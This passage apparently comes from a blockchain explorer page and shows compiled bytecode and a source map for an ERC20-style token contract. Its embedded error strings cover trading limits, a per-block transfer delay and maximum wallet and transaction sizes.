65b8160018114612840576002811461284a57612879565b60019150506128d8565b60ff84111561285c5761285b61277d565b5b8360020a9150848211156128735761287261277d565b5b506128d8565b5060208310610133831016604e8410600b84101617156128ae5782820a9050838111156128a9576128a861277d565b5b6128d8565b6128bb84848460016127b9565b925090508184048111156128d2576128d161277d565b5b81810290505b9392505050565b60006128ea826124d8565b91506128f583612601565b92506129227fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461280c565b905092915050565b6000612935826124d8565b9150612940836124d8565b925082820261294e816124d8565b915082820484148315176129655761296461277d565b5b5092915050565b60008151905061297b816124ac565b92915050565b600060208284031215612997576129966124a7565b5b60006129a58482850161296c565b91505092915050565b60006040820190506129c360008301856123cb565b6129d060208301846123cb565b9392505050565b6000819050919050565b6000819050919050565b6000612a06612a016129fc846129d7565b6129e1565b6124d8565b9050919050565b612a16816129eb565b82525050565b600060c082019050612a3160008301896123cb565b612a3e6020830188612584565b612a4b6040830187612a0d565b612a586060830186612a0d565b612a6560808301856123cb565b612a7260a0830184612584565b979650505050505050565b600081519050612a8c816124e2565b92915050565b600080600060608486031215612aab57612aaa6124a7565b5b6000612ab986828701612a7d565b9350506020612aca86828701612a7d565b9250506040612adb86828701612a7d565b9150509250925092565b6000604082019050612afa60008301856123cb565b612b076020830184612584565b9392505050565b612b178161254e565b8114612b2257600080fd5b50565b600081519050612b3481612b0e565b92915050565b600060208284031215612b5057612b4f6124a7565b5b6000612b5e84828501612b25565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612bc3602483612400565b9150612bce82612b67565b604082019050919050565b60006020820190508181036000830152612bf281612bb6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612c55602283612400565b9150612c6082612bf9565b604082019050919050565b60006020820190508181036000830152612c8481612c48565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612ce7602583612400565b9150612cf282612c8b565b604082019050919050565b60006020820190508181036000830152612d1681612cda565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612d79602383612400565b9150612d8482612d1d565b604082019050919050565b60006020820190508181036000830152612da881612d6c565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612e0b602983612400565b9150612e1682612daf565b604082019050919050565b60006020820190508181036000830152612e3a81612dfe565b9050919050565b7f54726164696e67206e6f7420656e61626c656400000000000000000000000000600082015250565b6000612e77601383612400565b9150612e8282612e41565b602082019050919050565b60006020820190508181036000830152612ea681612e6a565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b6000612f2f604983612400565b9150612f3a82612ead565b606082019050919050565b60006020820190508181036000830152612f5e81612f22565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b6000612f9b601983612400565b9150612fa682612f65565b602082019050919050565b60006020820190508181036000830152612fca81612f8e565b9050919050565b6000612fdc826124d8565b9150612fe7836124d8565b9250828201905080821115612fff57612ffe61277d565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b600061303b601a83612400565b915061304682613005565b602082019050919050565b6000602082019050818103600083015261306a8161302e565b9050919050565b600061307c826124d8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036130ae576130ad61277d565b5b600182019050919050565b60006130c4826124d8565b91506130cf836124d8565b92508282039050818111156130e7576130e661277d565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613180816123b9565b82525050565b60006131928383613177565b60208301905092915050565b6000602082019050919050565b60006131b68261314b565b6131c08185613156565b93506131cb83613167565b8060005b838110156131fc5781516131e38882613186565b97506131ee8361319e565b9250506001810190506131cf565b5085935050505092915050565b600060a08201905061321e6000830188612584565b61322b6020830187612a0d565b818103604083015261323d81866131ab565b905061324c60608301856123cb565b6132596080830184612584565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061329d826124d8565b91506132a8836124d8565b9250826132b8576132b7613263565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061331f602183612400565b915061332a826132c3565b604082019050919050565b6000602082019050818103600083015261334e81613312565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061338b601b83612400565b915061339682613355565b602082019050919050565b600060208201905081810360008301526133ba8161337e565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c4c1589293ae64595874caffdec92ecd0858c66229fa5eda202f4fa550d177f964736f6c63430008130033

Deployed Bytecode Sourcemap

3584:8556:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3667:82;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6443:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7276:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5699:170;;;;;;;;;;;;;:::i;:::-;;4949:50;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6720:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7445:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6629:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3756:82;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6823:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2665:148;;;;;;;;;;;;;:::i;:::-;;11774:363;;;;;;;;;;;;;:::i;:::-;;4745:49;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11379:195;;;;;;;;;;;;;:::i;:::-;;5057:24;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2451:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4801:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6534:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5877:558;;;:::i;:::-;;6950:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4871:55;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4112:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7125:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3667:82;3706:42;3667:82;:::o;6443:83::-;6480:13;6513:5;;;;;;;;;;;;;;;;;6506:12;;6443:83;:::o;7276:161::-;7351:4;7368:39;7377:12;:10;:12::i;:::-;7391:7;7400:6;7368:8;:39::i;:::-;7425:4;7418:11;;7276:161;;;;:::o;5699:170::-;2588:12;:10;:12::i;:::-;2578:22;;:6;;;;;;;;;;:22;;;2570:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5763:11:::1;;;;;;;;;;;5762:12;5754:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;5828:4;5814:11;;:18;;;;;;;;;;;;;;;;;;5857:4;5843:11;;:18;;;;;;;;;;;;;;;;;;5699:170::o:0;4949:50::-;;;;:::o;6720:95::-;6773:7;4560:2;4617;:13;;;;:::i;:::-;4604:10;:26;;;;:::i;:::-;6793:14;;6720:95;:::o;7445:313::-;7543:4;7560:36;7570:6;7578:9;7589:6;7560:9;:36::i;:::-;7607:121;7616:6;7624:12;:10;:12::i;:::-;7638:89;7676:6;7638:89;;;;;;;;;;;;;;;;;:11;:19;7650:6;7638:19;;;;;;;;;;;;;;;:33;7658:12;:10;:12::i;:::-;7638:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;7607:8;:121::i;:::-;7746:4;7739:11;;7445:313;;;;;:::o;6629:83::-;6670:5;4560:2;6688:16;;6629:83;:::o;3756:82::-;3795:42;3756:82;:::o;6823:119::-;6889:7;6916:9;:18;6926:7;6916:18;;;;;;;;;;;;;;;;6909:25;;6823:119;;;:::o;2665:148::-;2588:12;:10;:12::i;:::-;2578:22;;:6;;;;;;;;;;:22;;;2570:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2772:1:::1;2735:40;;2756:6;::::0;::::1;;;;;;;;2735:40;;;;;;;;;;;;2803:1;2786:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2665:148::o:0;11774:363::-;11843:11;;;;;;;;;;;11827:27;;:12;:10;:12::i;:::-;:27;;;11819:36;;;;;;11866:20;11889:24;11907:4;11889:9;:24::i;:::-;11866:47;;11944:1;11929:12;:16;11926:76;;;11960:30;11977:12;11960:16;:30::i;:::-;11926:76;12014:18;12033:21;12014:40;;12079:1;12068:10;:12;12065:65;;;12094:24;12107:10;12094:12;:24::i;:::-;12065:65;11808:329;;11774:363::o;4745:49::-;;;;:::o;11379:195::-;2588:12;:10;:12::i;:::-;2578:22;;:6;;;;;;;;;;:22;;;2570:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4560:2:::1;4617;:13;;;;:::i;:::-;4604:10;:26;;;;:::i;:::-;11431:12;:22;;;;4560:2;4617;:13;;;;:::i;:::-;4604:10;:26;;;;:::i;:::-;11464:14;:22;;;;11518:5;11497:20;;:26;;;;;;;;;;;;;;;;;;11539:27;4560:2;4617;:13;;;;:::i;:::-;4604:10;:26;;;;:::i;:::-;11539:27;;;;;;:::i;:::-;;;;;;;;11379:195::o:0;5057:24::-;;;;;;;;;;;;;:::o;2451:79::-;2489:7;2516:6;;;;;;;;;;;2509:13;;2451:79;:::o;4801:51::-;;;;:::o;6534:87::-;6573:13;6606:7;;;;;;;;;;;;;;;;;6599:14;;6534:87;:::o;5877:558::-;2588:12;:10;:12::i;:::-;2578:22;;:6;;;;;;;;;;:22;;;2570:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5978:42:::1;5941:15;;:80;;;;;;;;;;;;;;;;;;6032:58;6049:4;6064:15;;;;;;;;;;;4560:2;4617;:13;;;;:::i;:::-;4604:10;:26;;;;:::i;:::-;6032:8;:58::i;:::-;6131:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6113:55;;;6177:4;6184:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6113:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6101:9;;:106;;;;;;;;;;;;;;;;;;6218:15;;;;;;;;;;;:31;;;6257:21;6288:4;6294:24;6312:4;6294:9;:24::i;:::-;6319:1;6321::::0;6323:7:::1;:5;:7::i;:::-;6331:15;6218:129;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;6365:9;;;;;;;;;;;6358:25;;;6392:15;;;;;;;;;;;6410:14;6358:67;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;5877:558::o:0;6950:167::-;7028:4;7045:42;7055:12;:10;:12::i;:::-;7069:9;7080:6;7045:9;:42::i;:::-;7105:4;7098:11;;6950:167;;;;:::o;4871:55::-;;;;:::o;4112:32::-;;;;;;;;;;;;;:::o;7125:143::-;7206:7;7233:11;:18;7245:5;7233:18;;;;;;;;;;;;;;;:27;7252:7;7233:27;;;;;;;;;;;;;;;;7226:34;;7125:143;;;;:::o;206:98::-;259:7;286:10;279:17;;206:98;:::o;7766:335::-;7876:1;7859:19;;:5;:19;;;7851:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7957:1;7938:21;;:7;:21;;;7930:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8039:6;8009:11;:18;8021:5;8009:18;;;;;;;;;;;;;;;:27;8028:7;8009:27;;;;;;;;;;;;;;;:36;;;;8077:7;8061:32;;8070:5;8061:32;;;8086:6;8061:32;;;;;;:::i;:::-;;;;;;;;7766:335;;;:::o;8109:2663::-;8213:1;8197:18;;:4;:18;;;8189:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8290:1;8276:16;;:2;:16;;;8268:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;8360:1;8351:6;:10;8343:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;8425:18;:24;8444:4;8425:24;;;;;;;;;;;;;;;;;;;;;;;;;8424:25;:52;;;;;8454:18;:22;8473:2;8454:22;;;;;;;;;;;;;;;;;;;;;;;;;8453:23;8424:52;8420:101;;;8486:11;;;;;;;;;;;8478:43;;;;;;;;;;;;:::i;:::-;;;;;;;;;8420:101;8534:17;8564:14;8603:7;:5;:7::i;:::-;8595:15;;:4;:15;;;;:32;;;;;8620:7;:5;:7::i;:::-;8614:13;;:2;:13;;;;8595:32;8591:1814;;;8656:76;8728:3;8656:67;8678:15;;8668:9;;:25;8667:55;;8708:14;;8667:55;;;8695:12;;8667:55;8656:6;:10;;:67;;;;:::i;:::-;:71;;:76;;;;:::i;:::-;8644:88;;8753:20;;;;;;;;;;;8749:504;;;8814:15;;;;;;;;;;;8800:30;;:2;:30;;;;:58;;;;;8848:9;;;;;;;;;;;8834:24;;:2;:24;;;;8800:58;8796:440;;;8994:12;8921:28;:39;8950:9;8921:39;;;;;;;;;;;;;;;;:85;8885:250;;;;;;;;;;;;:::i;:::-;;;;;;;;;9202:12;9160:28;:39;9189:9;9160:39;;;;;;;;;;;;;;;:54;;;;8796:440;8749:504;9281:9;;;;;;;;;;;9273:17;;:4;:17;;;:51;;;;;9308:15;;;;;;;;;;;9294:30;;:2;:30;;;;9273:51;:79;;;;;9330:18;:22;9349:2;9330:22;;;;;;;;;;;;;;;;;;;;;;;;;9328:24;9273:79;9269:309;;;9392:12;;9382:6;:22;;9374:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;9487:14;;9477:6;9461:13;9471:2;9461:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;9453:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;9551:9;;:11;;;;;;;;;:::i;:::-;;;;;;9269:309;9604:9;;;;;;;;;;;9598:15;;:2;:15;;;:39;;;;;9632:4;9617:20;;:4;:20;;;;9598:39;9594:238;;;9662:18;:24;9681:4;9662:24;;;;;;;;;;;;;;;;;;;;;;;;;9658:47;;;9699:6;9690:15;;9658:47;9736:79;9811:3;9736:70;9758:16;;9748:9;;:26;9747:58;;9790:15;;9747:58;;;9776:13;;9747:58;9736:6;:10;;:70;;;;:::i;:::-;:74;;:79;;;;:::i;:::-;9724:91;;9594:238;9848:28;9879:24;9897:4;9879:9;:24::i;:::-;9848:55;;9923:6;;;;;;;;;;;9922:7;:26;;;;;9939:9;;;;;;;;;;;9933:15;;:2;:15;;;9922:26;:41;;;;;9952:11;;;;;;;;;;;9922:41;:83;;;;;9988:17;;9967:20;:38;9922:83;:115;;;;;10019:18;;10009:9;;:28;9922:115;:144;;;;;10042:18;:24;10061:4;10042:24;;;;;;;;;;;;;;;;;;;;;;;;;10041:25;9922:144;9918:476;;;10103:67;10120:49;10124:6;10131:37;10135:20;10156:11;;10131:3;:37::i;:::-;10120:3;:49::i;:::-;10103:16;:67::i;:::-;10189:26;10218:21;10189:50;;10282:17;10261:18;:38;10258:121;;;10324:35;10337:21;10324:12;:35::i;:::-;10258:121;10068:326;9918:476;8629:1776;8591:1814;10432:1;10420:9;:13;10417:163;;;10472:39;10501:9;10472;:24;10490:4;10472:24;;;;;;;;;;;;;;;;:28;;:39;;;;:::i;:::-;10447:9;:24;10465:4;10447:24;;;;;;;;;;;;;;;:64;;;;10552:4;10529:39;;10538:4;10529:39;;;10558:9;10529:39;;;;;;:::i;:::-;;;;;;;;10417:163;10608:34;10635:6;10628;:13;;;;:::i;:::-;10608:9;:15;10618:4;10608:15;;;;;;;;;;;;;;;;:19;;:34;;;;:::i;:::-;10592:9;:15;10602:4;10592:15;;;;;;;;;;;;;;;:50;;;;10667:40;10685:21;10696:9;10685:6;:10;;:21;;;;:::i;:::-;10667:9;:13;10677:2;10667:13;;;;;;;;;;;;;;;;:17;;:40;;;;:::i;:::-;10653:9;:13;10663:2;10653:13;;;;;;;;;;;;;;;:54;;;;10738:2;10723:41;;10732:4;10723:41;;;10742:21;10753:9;10742:6;:10;;:21;;;;:::i;:::-;10723:41;;;;;;:::i;:::-;;;;;;;;8178:2594;;8109:2663;;;:::o;1343:190::-;1429:7;1462:1;1457;:6;;1465:12;1449:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1489:9;1505:1;1501;:5;;;;:::i;:::-;1489:17;;1524:1;1517:8;;;1343:190;;;;;:::o;10888:483::-;5285:4;5276:6;;:13;;;;;;;;;;;;;;;;;;10966:21:::1;11004:1;10990:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10966:40;;11035:4;11017;11022:1;11017:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;11061:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11051:4;11056:1;11051:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;11094:62;11111:4;11126:15;;;;;;;;;;;11144:11;11094:8;:62::i;:::-;11167:15;;;;;;;;;;;:66;;;11248:11;11274:1;11290:4;11317;11337:15;11167:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;10955:416;5321:5:::0;5312:6;;:14;;;;;;;;;;;;;;;;;;10888:483;:::o;11582:147::-;11639:15;11666;3706:42;11666:9;:15::i;:::-;11657:6;:24;;;;:::i;:::-;11639:42;;11692:11;;;;;;;;;;;:20;;:29;11713:7;11692:29;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11628:101;11582:147;:::o;1541:246::-;1599:7;1628:1;1623;:6;1619:47;;1653:1;1646:8;;;;1619:47;1676:9;1692:1;1688;:5;;;;:::i;:::-;1676:17;;1721:1;1716;1712;:5;;;;:::i;:::-;:10;1704:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1778:1;1771:8;;;1541:246;;;;;:::o;1795:132::-;1853:7;1880:39;1884:1;1887;1880:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1873:46;;1795:132;;;;:::o;10782:98::-;10839:7;10866:1;10864;:3;10863:9;;10871:1;10863:9;;;10869:1;10863:9;10856:16;;10782:98;;;;:::o;1012:179::-;1070:7;1090:9;1106:1;1102;:5;;;;:::i;:::-;1090:17;;1131:1;1126;:6;;1118:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1182:1;1175:8;;;1012:179;;;;:::o;1199:136::-;1257:7;1284:43;1288:1;1291;1284:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1277:50;;1199:136;;;;:::o;1935:189::-;2021:7;2053:1;2049;:5;2056:12;2041:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2080:9;2096:1;2092;:5;;;;:::i;:::-;2080:17;;2115:1;2108:8;;;1935:189;;;;;:::o;7:126:1:-;44:7;84:42;77:5;73:54;62:65;;7:126;;;:::o;139:96::-;176:7;205:24;223:5;205:24;:::i;:::-;194:35;;139:96;;;:::o;241:118::-;328:24;346:5;328:24;:::i;:::-;323:3;316:37;241:118;;:::o;365:222::-;458:4;496:2;485:9;481:18;473:26;;509:71;577:1;566:9;562:17;553:6;509:71;:::i;:::-;365:222;;;;:::o;593:99::-;645:6;679:5;673:12;663:22;;593:99;;;:::o;698:169::-;782:11;816:6;811:3;804:19;856:4;851:3;847:14;832:29;;698:169;;;;:::o;873:246::-;954:1;964:113;978:6;975:1;972:13;964:113;;;1063:1;1058:3;1054:11;1048:18;1044:1;1039:3;1035:11;1028:39;1000:2;997:1;993:10;988:15;;964:113;;;1111:1;1102:6;1097:3;1093:16;1086:27;935:184;873:246;;;:::o;1125:102::-;1166:6;1217:2;1213:7;1208:2;1201:5;1197:14;1193:28;1183:38;;1125:102;;;:::o;1233:377::-;1321:3;1349:39;1382:5;1349:39;:::i;:::-;1404:71;1468:6;1463:3;1404:71;:::i;:::-;1397:78;;1484:65;1542:6;1537:3;1530:4;1523:5;1519:16;1484:65;:::i;:::-;1574:29;1596:6;1574:29;:::i;:::-;1569:3;1565:39;1558:46;;1325:285;1233:377;;;;:::o;1616:313::-;1729:4;1767:2;1756:9;1752:18;1744:26;;1816:9;1810:4;1806:20;1802:1;1791:9;1787:17;1780:47;1844:78;1917:4;1908:6;1844:78;:::i;:::-;1836:86;;1616:313;;;;:::o;2016:117::-;2125:1;2122;2115:12;2262:122;2335:24;2353:5;2335:24;:::i;:::-;2328:5;2325:35;2315:63;;2374:1;2371;2364:12;2315:63;2262:122;:::o;2390:139::-;2436:5;2474:6;2461:20;2452:29;;2490:33;2517:5;2490:33;:::i;:::-;2390:139;;;;:::o;2535:77::-;2572:7;2601:5;2590:16;;2535:77;;;:::o;2618:122::-;2691:24;2709:5;2691:24;:::i;:::-;2684:5;2681:35;2671:63;;2730:1;2727;2720:12;2671:63;2618:122;:::o;2746:139::-;2792:5;2830:6;2817:20;2808:29;;2846:33;2873:5;2846:33;:::i;:::-;2746:139;;;;:::o;2891:474::-;2959:6;2967;3016:2;3004:9;2995:7;2991:23;2987:32;2984:119;;;3022:79;;:::i;:::-;2984:119;3142:1;3167:53;3212:7;3203:6;3192:9;3188:22;3167:53;:::i;:::-;3157:63;;3113:117;3269:2;3295:53;3340:7;3331:6;3320:9;3316:22;3295:53;:::i;:::-;3285:63;;3240:118;2891:474;;;;;:::o;3371:90::-;3405:7;3448:5;3441:13;3434:21;3423:32;;3371:90;;;:::o;3467:109::-;3548:21;3563:5;3548:21;:::i;:::-;3543:3;3536:34;3467:109;;:::o;3582:210::-;3669:4;3707:2;3696:9;3692:18;3684:26;;3720:65;3782:1;3771:9;3767:17;3758:6;3720:65;:::i;:::-;3582:210;;;;:::o;3798:118::-;3885:24;3903:5;3885:24;:::i;:::-;3880:3;3873:37;3798:118;;:::o;3922:222::-;4015:4;4053:2;4042:9;4038:18;4030:26;;4066:71;4134:1;4123:9;4119:17;4110:6;4066:71;:::i;:::-;3922:222;;;;:::o;4150:619::-;4227:6;4235;4243;4292:2;4280:9;4271:7;4267:23;4263:32;4260:119;;;4298:79;;:::i;:::-;4260:119;4418:1;4443:53;4488:7;4479:6;4468:9;4464:22;4443:53;:::i;:::-;4433:63;;4389:117;4545:2;4571:53;4616:7;4607:6;4596:9;4592:22;4571:53;:::i;:::-;4561:63;;4516:118;4673:2;4699:53;4744:7;4735:6;4724:9;4720:22;4699:53;:::i;:::-;4689:63;;4644:118;4150:619;;;;;:::o;4775:86::-;4810:7;4850:4;4843:5;4839:16;4828:27;;4775:86;;;:::o;4867:112::-;4950:22;4966:5;4950:22;:::i;:::-;4945:3;4938:35;4867:112;;:::o;4985:214::-;5074:4;5112:2;5101:9;5097:18;5089:26;;5125:67;5189:1;5178:9;5174:17;5165:6;5125:67;:::i;:::-;4985:214;;;;:::o;5205:329::-;5264:6;5313:2;5301:9;5292:7;5288:23;5284:32;5281:119;;;5319:79;;:::i;:::-;5281:119;5439:1;5464:53;5509:7;5500:6;5489:9;5485:22;5464:53;:::i;:::-;5454:63;;5410:117;5205:329;;;;:::o;5540:474::-;5608:6;5616;5665:2;5653:9;5644:7;5640:23;5636:32;5633:119;;;5671:79;;:::i;:::-;5633:119;5791:1;5816:53;5861:7;5852:6;5841:9;5837:22;5816:53;:::i;:::-;5806:63;;5762:117;5918:2;5944:53;5989:7;5980:6;5969:9;5965:22;5944:53;:::i;:::-;5934:63;;5889:118;5540:474;;;;;:::o;6020:182::-;6160:34;6156:1;6148:6;6144:14;6137:58;6020:182;:::o;6208:366::-;6350:3;6371:67;6435:2;6430:3;6371:67;:::i;:::-;6364:74;;6447:93;6536:3;6447:93;:::i;:::-;6565:2;6560:3;6556:12;6549:19;;6208:366;;;:::o;6580:419::-;6746:4;6784:2;6773:9;6769:18;6761:26;;6833:9;6827:4;6823:20;6819:1;6808:9;6804:17;6797:47;6861:131;6987:4;6861:131;:::i;:::-;6853:139;;6580:419;;;:::o;7005:173::-;7145:25;7141:1;7133:6;7129:14;7122:49;7005:173;:::o;7184:366::-;7326:3;7347:67;7411:2;7406:3;7347:67;:::i;:::-;7340:74;;7423:93;7512:3;7423:93;:::i;:::-;7541:2;7536:3;7532:12;7525:19;;7184:366;;;:::o;7556:419::-;7722:4;7760:2;7749:9;7745:18;7737:26;;7809:9;7803:4;7799:20;7795:1;7784:9;7780:17;7773:47;7837:131;7963:4;7837:131;:::i;:::-;7829:139;;7556:419;;;:::o;7981:180::-;8029:77;8026:1;8019:88;8126:4;8123:1;8116:15;8150:4;8147:1;8140:15;8167:102;8209:8;8256:5;8253:1;8249:13;8228:34;;8167:102;;;:::o;8275:848::-;8336:5;8343:4;8367:6;8358:15;;8391:5;8382:14;;8405:712;8426:1;8416:8;8413:15;8405:712;;;8521:4;8516:3;8512:14;8506:4;8503:24;8500:50;;;8530:18;;:::i;:::-;8500:50;8580:1;8570:8;8566:16;8563:451;;;8995:4;8988:5;8984:16;8975:25;;8563:451;9045:4;9039;9035:15;9027:23;;9075:32;9098:8;9075:32;:::i;:::-;9063:44;;8405:712;;;8275:848;;;;;;;:::o;9129:1073::-;9183:5;9374:8;9364:40;;9395:1;9386:10;;9397:5;;9364:40;9423:4;9413:36;;9440:1;9431:10;;9442:5;;9413:36;9509:4;9557:1;9552:27;;;;9593:1;9588:191;;;;9502:277;;9552:27;9570:1;9561:10;;9572:5;;;9588:191;9633:3;9623:8;9620:17;9617:43;;;9640:18;;:::i;:::-;9617:43;9689:8;9686:1;9682:16;9673:25;;9724:3;9717:5;9714:14;9711:40;;;9731:18;;:::i;:::-;9711:40;9764:5;;;9502:277;;9888:2;9878:8;9875:16;9869:3;9863:4;9860:13;9856:36;9838:2;9828:8;9825:16;9820:2;9814:4;9811:12;9807:35;9791:111;9788:246;;;9944:8;9938:4;9934:19;9925:28;;9979:3;9972:5;9969:14;9966:40;;;9986:18;;:::i;:::-;9966:40;10019:5;;9788:246;10059:42;10097:3;10087:8;10081:4;10078:1;10059:42;:::i;:::-;10044:57;;;;10133:4;10128:3;10124:14;10117:5;10114:25;10111:51;;;10142:18;;:::i;:::-;10111:51;10191:4;10184:5;10180:16;10171:25;;9129:1073;;;;;;:::o;10208:281::-;10266:5;10290:23;10308:4;10290:23;:::i;:::-;10282:31;;10334:25;10350:8;10334:25;:::i;:::-;10322:37;;10378:104;10415:66;10405:8;10399:4;10378:104;:::i;:::-;10369:113;;10208:281;;;;:::o;10495:410::-;10535:7;10558:20;10576:1;10558:20;:::i;:::-;10553:25;;10592:20;10610:1;10592:20;:::i;:::-;10587:25;;10647:1;10644;10640:9;10669:30;10687:11;10669:30;:::i;:::-;10658:41;;10848:1;10839:7;10835:15;10832:1;10829:22;10809:1;10802:9;10782:83;10759:139;;10878:18;;:::i;:::-;10759:139;10543:362;10495:410;;;;:::o;10911:143::-;10968:5;10999:6;10993:13;10984:22;;11015:33;11042:5;11015:33;:::i;:::-;10911:143;;;;:::o;11060:351::-;11130:6;11179:2;11167:9;11158:7;11154:23;11150:32;11147:119;;;11185:79;;:::i;:::-;11147:119;11305:1;11330:64;11386:7;11377:6;11366:9;11362:22;11330:64;:::i;:::-;11320:74;;11276:128;11060:351;;;;:::o;11417:332::-;11538:4;11576:2;11565:9;11561:18;11553:26;;11589:71;11657:1;11646:9;11642:17;11633:6;11589:71;:::i;:::-;11670:72;11738:2;11727:9;11723:18;11714:6;11670:72;:::i;:::-;11417:332;;;;;:::o;11755:85::-;11800:7;11829:5;11818:16;;11755:85;;;:::o;11846:60::-;11874:3;11895:5;11888:12;;11846:60;;;:::o;11912:158::-;11970:9;12003:61;12021:42;12030:32;12056:5;12030:32;:::i;:::-;12021:42;:::i;:::-;12003:61;:::i;:::-;11990:74;;11912:158;;;:::o;12076:147::-;12171:45;12210:5;12171:45;:::i;:::-;12166:3;12159:58;12076:147;;:::o;12229:807::-;